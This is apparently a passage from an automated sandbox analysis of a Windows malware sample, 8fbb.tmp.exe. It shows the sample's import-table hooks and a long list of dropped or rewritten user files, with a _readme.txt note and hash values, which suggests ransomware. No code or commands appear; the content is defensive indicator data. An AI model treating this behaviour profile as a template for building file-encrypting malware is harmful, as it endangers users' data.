IAT private_0x0000000000260000:+0x572e1 92. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LoadLibraryExW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000260000:+0x572e1 97. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetStdHandle+0x0 now points to sspicli.dll:+0x2be7
...
IAT private_0x0000000000260000:+0x572e1 98. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetFilePointerEx+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000260000:+0x572e1 99. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteConsoleW+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000260000:+0x572e1 100. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlReAllocateHeap+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000260000:+0x572e1 101. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetDateFormatW+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000260000:+0x572e1 102. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetTimeFormatW+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000260000:+0x572e1 104. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:CreateFileW+0x0 now points to private_0x000000007fff0000:+0xb010003
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\_readme.txt 1.14 KB MD5: 1e3288c59570bcac4dc66c4ad6c79d75
SHA1: 5270bd877cfd06dcaa183b1705b5dc2364bb4af4
SHA256: 6274d43e05d31c5295f366c5169964bd05c0556840cab0438c22c2742bc8d957
SSDeep: 24:FSimHPnIekFQjhRe9bgnYLuW65tmFRqrl3W4kA+GT/kF5M2/kDwyD5oT0:NmHfv0p6WutPFWrDGT0f/k55 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact 1.23 KB MD5: 39a8c28a0c3ef5230ffbd04cd68e9da8
SHA1: 3ae47306c030f77565476e99d91a53b8de83a45f
SHA256: 09557bbf33a171126e8c2b9d6b041cf032ce615671e1e69c1d9d9373adf28c60
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwtt7Mq1o1ugAiGMXnAVSDs5+LTfc4vF1PXJj2nWbD:OBWCQ/ONSXXwttwxQgAijpDs+LTz1fJT 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact 1.22 KB MD5: b4a805e13dd915d0c8366754083acb7e
SHA1: f8c67854d5443330aac07648e4f6fb59e151c6f6
SHA256: f3a3b64bc7866a336a37c29a7069f8b7c4bd6966bc6402c159d1086c78ba679a
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwtt0sM1u7JadGXql1eY6d7lCVRpqhAEKRinWbD:OBWCQ/ONSXXwtt0sMQQdIqep8RpNlRSQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact 1.23 KB MD5: d0b48aa3a19a2cbfca17891c3a237cab
SHA1: bcdfa55354c3dc1721fed6dd0baa54b6b0d9df61
SHA256: cec2a06bfc49edfad1adbc373376c397a40f44066c29261bc0d7d5396bcf63c2
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwttVJRRq1uGMXJt6RHBogi3zd5VncnjUsGfUnWbD:OBWCQ/ONSXXwttdAQGOaRHBo93rVncgZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact 1.22 KB MD5: da06a42cc73d98c23f2f50c137104dea
SHA1: 9450a402e1a29932856b85826d84b77fab88866b
SHA256: 88d2129d092dcdab4b4ca17c4f63156074f6a7d0e560ea6fdfaaa9f15a3cf37b
SSDeep: 24:o1Bn4JIoCQ/kbD8sSnXXwtt06BtMf1uruyMXMu6kpD8pO0IpFcu1AJnWbD:OBWCQ/ONSXXwtt06BtMfQUM16D8Yz1+Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 31.36 KB MD5: d7977daabc5d575ab3efdaff6b566344
SHA1: 1c4925a3b9bb0e84d4a60151e1d1058552be0839
SHA256: 169e861a5a051af00355251f4db5a80548431aff1c189ebbabd866fb0c9b614d
SSDeep: 384:Km9KNzgZEOKP3iXatembuDFAh6lBeVEyS3gzcoxQpbABisS84ufFATVsp3SNiWGK:FEkZiBtQhnBdyA+MbLtOtSkyNbcn4OA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe 496.58 KB MD5: 1f6fd7e9a3f768055d645a835f887510
SHA1: d5ed5a0f544decc9597a81130f94cffb77a797f8
SHA256: 4f12931a816f4be64b7123734d067acef0fef26d61407f411c66e3aaa133c63b
SSDeep: 6144:3UF3gK3W5q4MaeNdDUMumvSVfM06oOCBi0zN1Vb3dRr2cGPPr0c2+9Kb:e3li5PefPK6HuiqN1Vb3dRrLy129b 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf 86.69 KB MD5: 8552a0c20e85c9a52270e6583f164ec3
SHA1: f5463713ea71f368c04a85eb7883cf896aaaff7a
SHA256: 26c716611eab59e96af5fc8759e55f5700a83f76325fbbbee5dbd6f81beef761
SSDeep: 1536:zur9W7kQ9YR5kSyKIkeNmBGXF4qp33oSCXEF+4FSpv:RP9i5k3KPumAXF4goSyEF3FSpv 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 28.23 KB MD5: 144806b6c44167c70d1dd6d23bb5b6c6
SHA1: 7e818bd3d18bcb497f2a8e1fbbfd5bccdf747401
SHA256: 061246818a4b99a3e2ce638d9fa40dad30f6667487d58d21054cebb2d90383bd
SSDeep: 768:gOMgA77SArr1EuH39qaDxxjcBRyBsMsBoO3mIoZ:ogAzP7xlERyBLR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav 37.33 KB MD5: 66a9f89837bccb2d99f5b5e2c00dbec1
SHA1: a7fc03a9607aeb0ac02ac67d6459ffd851e9b8b0
SHA256: 9fbbac45935714953212ba108cf3b73ed27519640558e50156beb8e54f960b4c
SSDeep: 768:ZHo+++4+Ct4JARr+c0RpZ2I78QZJHiORb15w+pnJufr0y7FJAJO:n3C0/RRKI1JCORp5wCoj0UAJO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv 45.42 KB MD5: 9a90f222c6b24e1eb09ac0bba7c11a2b
SHA1: 90b3297d2ad1826652817468dff260e54ce09dc1
SHA256: 9e6d1bbc5a8a1a27b579b87ed589186bbefe34108196164fb60ea1bf2be9894b
SSDeep: 768:Vn8SRuQtr3HivDnoI3Z/kSDOHSrX8AJKouqycunXlbPhtlUY4IAUTNi4fMrE25cV:FXoQt3ivDmSDOHSoGZ0tXlbJtaYY4EYr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 58.76 KB MD5: 4b6bf67943ad8cf76932c150db87b418
SHA1: dc054f6fb9bbf945bc6de678dc2ecadb5d758d11
SHA256: b49bbc47231a57c7de4aeb4c31b2ede45e47f477196f7f8bdd56efea9dcd575b
SSDeep: 1536:p45KPpPDQCk2a+EKHzhU+CRRmOvhZ7dICWoAbJo53CcG:ppRbQ4alKHdEREOvL7eCitABG 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg 57.26 KB MD5: cfd8404a9cb5fe3be806c66f98c4f427
SHA1: 492e72842f4f95edebbb051d5107f5f232682fae
SHA256: e675ff67d3331e9f390bef6727f907e7538b873f129dd3ec1355cbd9e29b1cce
SSDeep: 1536:5kDMXzT/RgWFS1lCGTAMy2bbdzuewG6WdEAxN4+rjBG:54ozzp2CIHbbdzu7GsbmtG 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a 98.70 KB MD5: 0b29246eecc3dd3e91840701a7a26955
SHA1: 7dc0e2bed87c18f670bd6509956bfe6a52f76c26
SHA256: 137325461521d958e4de070351c234d6d93431910d978942c234cb0f432295f8
SSDeep: 1536:IZp/0Jsm5tZrsMR605lgA2Ch4c6XqqUKH/3QIFiIijHkPCMIYC8qXR1RQN9Q7s:Mp/0JxTAaKcwHIuilkPJYphQd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav 76.18 KB MD5: 53b58ba1742ae6bca6c056321f49d979
SHA1: c80fe850720bb651f1978a053c38a225440dbff1
SHA256: 692581aa13db3d7c3ac446f348c01309928c7c49610609fc4f5c503cd9e4bfde
SSDeep: 1536:qpTCL3JYqCVS7qc4Ss3ZvkmyOftLz1pG2ZYaRL8uCEiwjK:qoYqCw7q/OL8zOGYkuUm 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a 43.61 KB MD5: f02eba492f78390d2ead24af388503e3
SHA1: 316ea016a384da7be70e7795e420394178b4be2e
SHA256: b62799c3da134b4cc6deca438bbf2da01c3f68d14017f97fb1c38121bdfd2abe
SSDeep: 768:KF4xow9f+Duj903+Btd6Wc5GD4nGfZIMdoJk0kJ4s4biplaeWuOwB1oq4Fko8Jfh:KKhf+v3qv6WsGDaGfZDLwbWaebOs195F 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 84.53 KB MD5: 171e0b4d3a19031b183c8258075a383e
SHA1: b0aa47829b8680db4fe88263657640c8ad9ab951
SHA256: bdc2d21caa6a54bf4f902a3db621d32c35c58a48cdadb20d3454fcc18ee65e22
SSDeep: 1536:wPcs6hUjOx6iUiRLv5G8qWR92IiCCf3w6vo2hg6rjG4wHKDLtaU:wksI4SRLV/KIohxhgAZwqDLtaU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif 57.88 KB MD5: f22d2a2465d68563e3665ce72ed152f9
SHA1: 9fd71247bb36c28b321bd95088ffa36f5dca04f5
SHA256: e3ba479bbf043e8271f4bb31484304517bd81d64a55973db19a4b90810fd8c71
SSDeep: 1536:bx1T+rMnUEWA8y6cc1CfajcB/QiWcMdvvVmQK:V1T+rEhXFcCfajcB/QiW9aQK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg 45.45 KB MD5: 3ea52765ee9fde0653d08a43a601ffba
SHA1: 5d4017af9150dd7809c5f50bfb446f56787699b5
SHA256: d61118f0c274b48437c8beea8b9df7d8645580a590ad8e9fbdd7e0bc84ad892e
SSDeep: 768:ClSOwwyNR6Hy8CDdu4IpKOAqh68oRgOrPtrxtP6CJrdZY9X+DNi/EwAu:ClS1jt8CYBAAlw1rxtP6CKp+I/EK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 21.45 KB MD5: 7a1caf0c28f8309865badb5e800bf8a3
SHA1: 3ac529af7a12a2c7cfd585c9e7456b5dee336ad8
SHA256: 2f8aa607efbae9b6f2861612876db2c9c14ee97138cba4fc4c549857b3af969e
SSDeep: 384:n94P3bczayfsnSZuuzTgaP842Xh/VrLH6CcVvQSJCj55iLsibNoVPRmycvhKVCCl:WPrGbPJIdrLaCcVICs6I8yI/CGy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 34.27 KB MD5: db0a948fe2738f6b55692a8df3564ded
SHA1: cf00f9170bc8298b989c57b52189b1dda131b9c5
SHA256: 35a0e70e0e046e5e9bace757108cf1a50891b12d2f7f4ffdcca5fef540ea1265
SSDeep: 768:cidVkb5jA6L4z1/RACStzbRrLrq23RtyaH3P0LDZwD1kqx:ci2jAxz1Z3GXRrLrq2hwaXPINwDmQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv 94.42 KB MD5: 39f0fa16a7ca46b9933d9f3775d0f9b7
SHA1: d64b4301ac2b0cf8e75db8a51063560a9532299f
SHA256: f1d5e2c4cc18af566e3450ff80afc9456bc298ad386a9aad5826c7a5bbcc2b28
SSDeep: 1536:BU/5S4tKsQh0fRRUVe0vOC8MEzOue65HOkwkO9TthS2lACBtxdPVJUa/liC1i3Hn:BULOiRUQ6OHM32ZwdTt1ftxlIOiT3H77 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx 40.98 KB MD5: e2991e6968acb210a23e75ae907544bb
SHA1: 6991145374676be36ef6adf24e4b7f5fcf52c8d1
SHA256: 7506ae620bd4371c196e5bcd47457549ba8fb94aa1959eeff6043b592870fd0c
SSDeep: 768:6yDkto6FhX0jd/WseAT9JHsA6srWkgzKGGFourKFOkMctRy:6Sd6f4pKAT9ZFSkg+GGoeoS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx 39.51 KB MD5: 8fb798b250862fbd110476d95f9284ff
SHA1: ef66c70c4ea5d88649d854dcbdab4d62c89f81e2
SHA256: 547e6977e341cb7658c2e87b11d9e432c84b42043f3b28fc5fbe58e8facf2d3d
SSDeep: 768:140ETjQnu6J+1aTZq9RIkdvJqF29RudlbVNvwHL+esDfJAno8pxuep:19T3AITfmIF2+lVNiL+PJAnoyP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx 87.32 KB MD5: 40cedc97bddcdef063bd0814fbd15462
SHA1: 3d56cd254c3482b9e57edc81f3b4d23b3ca8aabd
SHA256: 2aa16577571b99034b34d952ca0b7926ee4b648652b8014202e9a9d2537415c1
SSDeep: 1536:ZuMFYQ8qLbfHBxxVobg68+CrIVFayX1GR6dZtnIlOsGN+LAnQgPnq/M9uNB4uoD8:nYELbBxPH6ZCsVl7IJSTQwhu74zD8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx 44.45 KB MD5: dab0b7b66600bedcf042169a4b10a176
SHA1: 151e49b52a3a62bf2e88ceac5ce23ed11cf075e4
SHA256: b887de2b1e2790537c0a1fe6def2ec34f98185c79be0c737c18e403c7abdc969
SSDeep: 768:8//gqS+c8na6jQx8RyNCmnB8vvp2lapu9SkqBBxju3TJyIa+ST6GRwET55:itfFaEQx7j8vhxus1BboTcIahWGRwED 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx 16.84 KB MD5: f8b822b9c88e2ce218d05813c0d6178d
SHA1: ce031bc22ddace61d686befd675554375c2c8217
SHA256: 4be275bafbc5b92aa336e4398876abbd869114ba89920d3edadbfb267366ab2f
SSDeep: 384:64mkiDM4WQtFeWOXsEJ+ptIE+QC1Ex35F6g1cvzgKfKWiS36u6FzqB:fmhHWyaJOSl8pF6g1cbgKSWiSqL8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx 94.53 KB MD5: 5a55ce1886db3b65f2cb64e703d2efb6
SHA1: 7e6bfab4cf946f93a13f91d2d7da517e25f6aced
SHA256: 6d17bd2fb29e7364e33b95cd3db321381b7933ba8eb669ff9b8bfe81fc12f5f5
SSDeep: 1536:RfxdwMeWhZ2fIEJqGBtfT5lRZw0A+3Q8Dp26oE01wH1FlvJN3viZx9+lET:RfxdwmILBtfT9m0AWQypXoE0CVzxN3KL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a 54.52 KB MD5: c93cf7664b2a6e90fbb83c9773132fe3
SHA1: 73f5b7f4b550a545c23994abc71852d8a789e08d
SHA256: c676d7fbcc6340e6d905c1a4f3e4a9269c3530c0a431810c8f2ac3cb38c86bc3
SSDeep: 1536:3BIjwQPh8VPkX5xZGYMFw+eCtFgNLqNa3JdxIRDQGpwh9akVNQDu2:32JPiV25H9+eCtFgossQnWV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a 45.96 KB MD5: 7208551b328630b51e810ce51a6fbdfe
SHA1: 77545a540933172175dc8593830a0879492d7de9
SHA256: dfee2cfbdebd294833ace8226b8ad8f8bfdcd51de868d807aca7b9f8b8b93c4b
SSDeep: 768:rzSrrD8hhWakfbRX0s4ROGyTj5vvmgWKmh7R6nGVmM385lqk/fYT6Tb0LZtA6U59:fSrrw75KDVj5LTnGQq8D/wT6HQkco 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a 81.63 KB MD5: 3616b8d07fa1eb4d5450591b01fdfa32
SHA1: 01cf4294c0e64405c0e10bee7c87b17eec9c48af
SHA256: 1992908cc82631539d3c9088d9a8a5f6a65096a3032dffbd43cf63b4fd30722d
SSDeep: 1536:gcd/n1JbtVoXL+0eHLPRijqLnU009+c5oyOUgDNnKb3fhQgB:gSvbja+06LSOnUryyOUg8rh5B 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg 55.80 KB MD5: 04d063d2fe20e7d1bd72f594f4a35389
SHA1: 4abfbbd250c27102d8df81203a5305d8d90e7fe2
SHA256: 091b338b2278480ea1426177afc8871f94ffc19be4d709e2820f57acd5a4baf6
SSDeep: 1536:64yz+WST1rAbN1rlkPrdMP8Vv6mw419gRdxv8YoKbmrMLZ4VPt:64yzJSprAbNdlw+WSmw419Yxv5xmDVPt 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif 18.91 KB MD5: 1ecdc789ae1295def228e1049be56f52
SHA1: 7e6d706c88bdc7191ffc42ebb5c1664c4a74e68f
SHA256: d18a4855ee4d89345c119f8ea64d5b2e8052e20986b25493e469dd1eaeac1c14
SSDeep: 384:KIBWGN/+g3PUgPMDrmEefRlO9xGpB48pFPrUKqlv9P:NBW7AsgPGmEWO9cpBNbvqn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png 7.40 KB MD5: 6ef12c21b1118dbe04eddcc668603386
SHA1: fec317d81b0a0c6f448d6e31ed069bc1daa11d3b
SHA256: c10c514c00eda379a8869eb3ae16f566b8e3bf79bd0b978a740b597cb3454e74
SSDeep: 192:bi+paVJ4tej03H3CnXIJh6MzqoxxCG67HC+pS9GvANiJy:bi+IVCUj0inX+6MzqoiG4i+pS9GvA4Jy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 64.53 KB MD5: b2c64df02e49b057b7a682b871157291
SHA1: c7fbe66f99243aacd94cef580d894a0ee551843d
SHA256: 703533491e09de14cfb5f8c1a3847e96d99a36090f5741534b82174d25c853f1
SSDeep: 1536:FKF9bP8yQwzm/gbB2yG1ILEJ+IZcNYktgZhcGKp5E93T9Q:FKF9bUyOYbjnEtlZhcGA5k3Ty 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv 48.97 KB MD5: 3ca45264610a0609448f023caeed1e3a
SHA1: 0f9293baa8d50515851f8e1e266ac4416dfce3b0
SHA256: a7071c9e5723d43d841f500dd3d0db324f210637640376a32980ff1f1796d7b3
SSDeep: 768:WmBiLhBLnqO7vwLxfOr/X7DRmp6/STaydDQhWUy2PvVAWA0zUb+BM9xt+0:5BQnNuxfOzQQ/QHJUpvINqo 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi 58.88 KB MD5: 16a1abce538ff4a2020bc7cbecfa620e
SHA1: aee1f5fe84e049adaaa779973a240b29baa3a8a4
SHA256: 685fb7c8f19b82218561759d1c03886befe72b76c2975e20562f318e95ca184f
SSDeep: 768:fnv8WfNsROAuQQVk0vCi5d2U63tg9k3JJPOHhhHl+K11Ef2z/J0/csNxG6BIiBp6:dfNQTSdl63tR3JrK11wIgcSbVHyuOiYd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv 91.49 KB MD5: 8208aaa09ec57425e75adb684d36c568
SHA1: 8790ca3e52f5f71c4fc3655907bcd03db2c9ce58
SHA256: cdd58151fba150129e09b4485f763d26a8e485f91155e4aab76f69768c3a1173
SSDeep: 1536:Sw0wIXPluxgJKxrOEvDE46St74ij2O/IbzfHseu3z1hT3zvDWL/MOer5i/:S0IX4eIrO4DEEtXSmIbzfHseuj1hT3zy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 67.11 KB MD5: c9e43bf6e63103e996af92a18634308a
SHA1: 2bb8113a003dfa3c71d575d206277ef9ee6b74e9
SHA256: c3c104ec433403944cc3fcc1a70e86b137326762b46963becc687ba0c113dcea
SSDeep: 1536:oiWC7JCGvxqRLGpXwZGhm1+SIRay4IJJzmlu+GdR2S9L:oiWYcRLSgQhguROlif 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg 30.79 KB MD5: a09f43e5adcd7da2cffd3a771d4d0c14
SHA1: 245f37d088a1f11fd6dbafe13512caf19684dabe
SHA256: 129bb0550d1836d0051fb9030b8900c9613e2ed0beba3b45a812016168cde033
SSDeep: 768:OyXWL1Tj+H2ngzHuhU0za7RrJ4bTOmQ1jsk4/XNwjsgx:OnBuZKhUXRrJ4X9Q1jsvNwrx 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf 77.23 KB MD5: 99c1726c0f60f55f62c43e8f0f65d69b
SHA1: 607314eb4df8deed650e71f42f1c557afd0e308d
SHA256: c4b1bc84aab931accc14abc7e0df7dd149a9bdca8478e048a4e7b3acd4585bbc
SSDeep: 1536:xscdOI+YhB84RuD6/fL4HPUxKI4Qs1GxgeNIT+oVoFORiWWTtyHsijJLo:xseO0hu4RuD63sHPUxKPQs1GNU5VTGyU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg 82.21 KB MD5: ee1fc244cd391d427f4823569e3c2274
SHA1: 23e57272a9875ad4620092de9678dd3ab8fbc421
SHA256: ad85110ae79f7f49612cc6663cd2bce1b2897d5f77ae3fec5a4b8e64f2ff647d
SSDeep: 1536:YYU0MwTnnf/8UZmFvfEzGHIr3iklupvAQylQvfwd4YH:YaMwTbZOvMoIr3ik0FylOfS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png 62.58 KB MD5: a4437bc7d7199aade65eb5acdae2cf73
SHA1: da2b884ecb37f4a5fd317cab8177a2eacd7d4ef1
SHA256: ac8a35ff84d6f5849900df4039ba575495acd76a9917c112ddea38b62b59a540
SSDeep: 1536:qCh2gDNElhN00d0LEEYXCiuGdr+vE48d5ZdfwB8fku/IE81y5i9A3yZnTOKF:vYKI80dPEiTSvE/jbfwB7u/G1yTCNyKF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv 36.24 KB MD5: e7632fabdc834e0925136bb24e790ddc
SHA1: a3da11a33379ce8bfb3c898563396fae370d5709
SHA256: 7bf355eb1fa6821e2ad7339007f4bf6719c048af524fab92d7a3ab75d1779084
SSDeep: 768:9ETXalXp9o6zo19t8ItZwKA4LB5tGiMTp2a0MZfV8+:9Eo9O1/WK/Rgpd3ZN8+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx 62.21 KB MD5: b2a5bc800e997c8a78863dffd38044b1
SHA1: b2779b93773f321c311d069953bd4fb8889109cf
SHA256: 792017bba0f6db69907f64e7be3a729bb964b0eed0d16d8d84afa7a0bed68634
SSDeep: 1536:UAHBg1Iq3oRErZq427Kca7OmJRPDNFCzd/NQTErhD3Tlaxy:Fhg1ZoReZqp7Kca7OERPDN0d12EVD3TX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx 82.98 KB MD5: fbbda14642e130e14fce5a250c9db51a
SHA1: c0f7e1fee02c39d1c2b78e622682280712b4e747
SHA256: 319768b32af14cf82a54e689e5aaab6c2dd74a6cb8b9ad29d798c64079c832bc
SSDeep: 1536:4JVfwrtAkuX83Osxqaejb19t+wlpkw+/w3cQ3fBRftFC5/nvaHGH0MloxrFh:4JYtRumOsxQh++L35HuvvamUMloxrFh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt 34.26 KB MD5: 669ccef524bad96f59c4b6d3446e8381
SHA1: 91e8e0070c17c358c8f592bacb160f529f43950f
SHA256: f5a2fa9c88e99d7de9beb93057a9306c00275d740a3711638f6a6e888a21e96f
SSDeep: 768:iqWxo+VCd2M8DnYytS7cuictB4R8vNBC3QGM+KbDbxxTYgddkfhg:2XJMbyAcuv4yvN6KbfvYg7kfhg 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst 265.08 KB MD5: 52d0c687fd4d414231b906325859ea7b
SHA1: 3110b459a39745307bfdaa1f323009523594d260
SHA256: ede2b2e3cfdf16abac302470d14353bae43a227cebd89cc2741b67df1ba99b2d
SSDeep: 3072:VzXOQjuxRhxpNbla75pRkNrEabkvm8/VHmyQXomOKCxp9SM:VzXOXbpXaPi+RdHmyQXoLjxmM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf 43.33 KB MD5: 220f655981d7754c45d81dfa79d4b2a2
SHA1: 935c4681403138fa621538e965d0d85aed07c179
SHA256: 91c42e643d92c383321b6e8ea8bd4a8b60781d9b1566ee16d22edbea5cfdcab0
SSDeep: 768:TaL4tc3wNSjTVAoOK6C4zVWkzH1y7KEa77B9I0hCNSEjJKM8Diba2Qr:GLMNX263YkzHY7KXI04JjwMHA 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf 34.25 KB MD5: 761bab2d56046803369f901da4c82821
SHA1: 933fa75eed559af3202e7ca54c23a681cfb66337
SHA256: 9ae17ac46352a0894dd4819e68d8f158cd7ca8d645806675ab9218bffac813d1
SSDeep: 768:YElj7dFlgT1DLgU0P1mdQ24kbJbtE0/U5s4PfgcRJZE28v0:Y4jpY1DLgUUb24kbJb3WgcXw8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt 23.02 KB MD5: 8f58c02d72b3670e1839214b4977aa73
SHA1: d9eab35fe8812aa10d7b70a939948a4863f547f0
SHA256: 98a9306099a97dc1c740fbabb62688a185d42b375a0d7ac4c1b9fa0ab8ee1878
SSDeep: 384:0lPnBb3utUd9psBjtWIwj0qIjzISlccdf4aJgVQaGI3YdwtIw93wRnKU56Yngp/4:0lP13FzpmjcI57c0FWVuI3uW9AR/66m4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url 211 bytes MD5: 1cbaff0c5882d851bc547176c8b8b706
SHA1: 01cda58446c88d571d5a99a4eb5d74b803c481f7
SHA256: 17cb92833ea35493f55cf87f113842da3555382c41f548dfb87e3d8c4e43d6ff
SSDeep: 6:J4KBfvIETRlmdfSppWuAFi9UDBcvoHWcii96Z:3BfvFTDmdf7FiiDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url 211 bytes MD5: 8c9e75ad4f5f541d02376080fe5b6af8
SHA1: 002b6833eb694e4444d912158ef7b44fac6b215c
SHA256: de339d757a39f93d3fe3531642ae66bbbf07bb3c9901f4bf1c980bbc409ca0fb
SSDeep: 6:J4KBfvIETRlmdfSppWCM9UDBcvoHWcii96Z:3BfvFTDmdffiDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url 212 bytes MD5: 204b2cf4135e646125e8866538d8999b
SHA1: 7f6729c43c6c4e33b5dadb0936c9ee02f7a4c791
SHA256: d3ef0ecdb646bf33ccface9f4efbe6ba6c2ff1f0bb13a69a7ee7b281cc051a5b
SSDeep: 6:J4KBfvIETRlmdfSppWoQLDBcvoHWcii96Z:3BfvFTDmdfzDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url 211 bytes MD5: 5cde3c41b3ff7205baf372aae8510e2a
SHA1: d89bf598461578351aebb472da29cd377de4503e
SHA256: 143197097999e8e628f81bc9c3a6b681b8e7412f968a3ce23f73c146da4cded0
SSDeep: 6:J4KBfvIETRlmdfSppWuAM9UDBcvoHWcii96Z:3BfvFTDmdfEiDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url 211 bytes MD5: 1616c2b55c9d7587ad4361bdd76a4f59
SHA1: 7ee1c2baf5d43b5f1507b68f6c7cb6fb877963c2
SHA256: 64a3f035646ce35880857d8addeefd51b30ab37f71db27336b0ddf19a036d9f8
SSDeep: 6:J4KBfvIETRlmdfSppWuJpi9UDBcvoHWcii96Z:3BfvFTDmdf2piiDivQWcii9a 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url 211 bytes MD5: 13ad95c621f6ea0dd397bf23b824bb2a
